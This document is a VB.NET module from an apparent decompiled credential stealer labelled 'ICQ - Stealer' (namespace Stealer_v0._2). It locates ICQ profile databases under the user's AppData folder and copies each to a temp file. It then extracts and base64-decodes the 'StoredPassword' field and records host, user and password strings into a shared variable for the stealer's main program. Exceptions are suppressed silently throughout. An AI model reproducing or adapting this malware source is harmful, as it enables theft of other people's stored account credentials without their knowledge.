ICQ - Stealer

Imports System
Imports System.IO
Imports System.Text
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices

Namespace Stealer_v0._2
    Friend Module ICQ
        Public Sub ICQ_Recovery()
            Try
                Dim path As String = Interaction.Environ("APPDATA") + "\ICQ"
                Dim directories As String() = Directory.GetDirectories(path, "*", SearchOption.TopDirectoryOnly)
                Dim arg_2C_0 As Integer = 0
                Dim num As Integer = directories.Length - 1
                Dim num2 As Integer = arg_2C_0
                While True
                    Dim arg_288_0 As Integer = num2
                    Dim num3 As Integer = num
                    If arg_288_0 > num3 Then
                        Exit While
                    End If
                    Dim flag As Boolean = Versioned.IsNumeric(directories(num2).Split(New Char() { "\"c })(directories(num2).Split(New Char() { "\"c }).Length - 1))
                    If flag Then
                        flag = File.Exists(directories(num2) + "\Owner.mdb")
                        Dim sourceFileName As String
                        If flag Then
                            sourceFileName = directories(num2) + "\Owner.mdb"
                        Else
                            sourceFileName = directories(num2) + "\Owner.qdb"
                        End If
                        File.Copy(sourceFileName, Interaction.Environ("TEMP") + "\temp.dat")
                        Dim text As String = Encoding.Unicode.GetString(File.ReadAllBytes(Interaction.Environ("TEMP") + "\temp.dat"))
                        File.Delete(Interaction.Environ("TEMP") + "\temp.dat")
                        text = text.Replace(vbNullChar, "")
                        ' The following expression was wrapped in a unchecked-expression
                        Dim num4 As Long = CLng(text.IndexOf("StoredPassword"))
                        Dim text2 As String = ""
                        flag = (num4 > 0L)
                        If flag Then
                            text = text.Substring(CInt(num4))
                            text = text.Replace(Conversions.ToString(Strings.Chr(132)), "")
                            Dim array As Byte() = Convert.FromBase64String(Strings.Mid(text, 17, 44))
                            Dim num5 As Integer = 0
                            Dim arg_1D4_0 As Integer
                            Do
                                flag = (Conversion.Hex(array(num5)).Length < 2)
                                If flag Then
                                    text2 = text2 + "0" + Conversion.Hex(array(num5))
                                Else
                                    text2 += Conversion.Hex(array(num5))
                                End If
                                num5 += 1
                                arg_1D4_0 = num5
                                num3 = 15
                            Loop While arg_1D4_0 <= num3
                        End If
                        flag = (Operators.CompareString(text2, "", False) <> 0)
                        If flag Then
                            ICQ.Add("http://www.icq.com", directories(num2).Split(New Char() { "\"c })(directories(num2).Split(New Char() { "\"c }).Length - 1), text2)
                        Else
                            ICQ.Add("http://www.icq.com", directories(num2).Split(New Char() { "\"c })(directories(num2).Split(New Char() { "\"c }).Length - 1), "-")
                        End If
                    End If
                    num2 += 1
                End While
            Catch expr_28F As Exception
                ProjectData.SetProjectError(expr_28F)
                ProjectData.ClearProjectError()
            End Try
        End Sub

        Private Sub Add(Host As String, User As String, Password As String)
            Try
                Main.ICQp = String.Concat(New String() { "Host: ", Host, vbCrLf & " User: ", User, vbCrLf & " Password: ", Password, vbCrLf })
            Catch expr_49 As Exception
                ProjectData.SetProjectError(expr_49)
                ProjectData.ClearProjectError()
            End Try
        End Sub
    End Module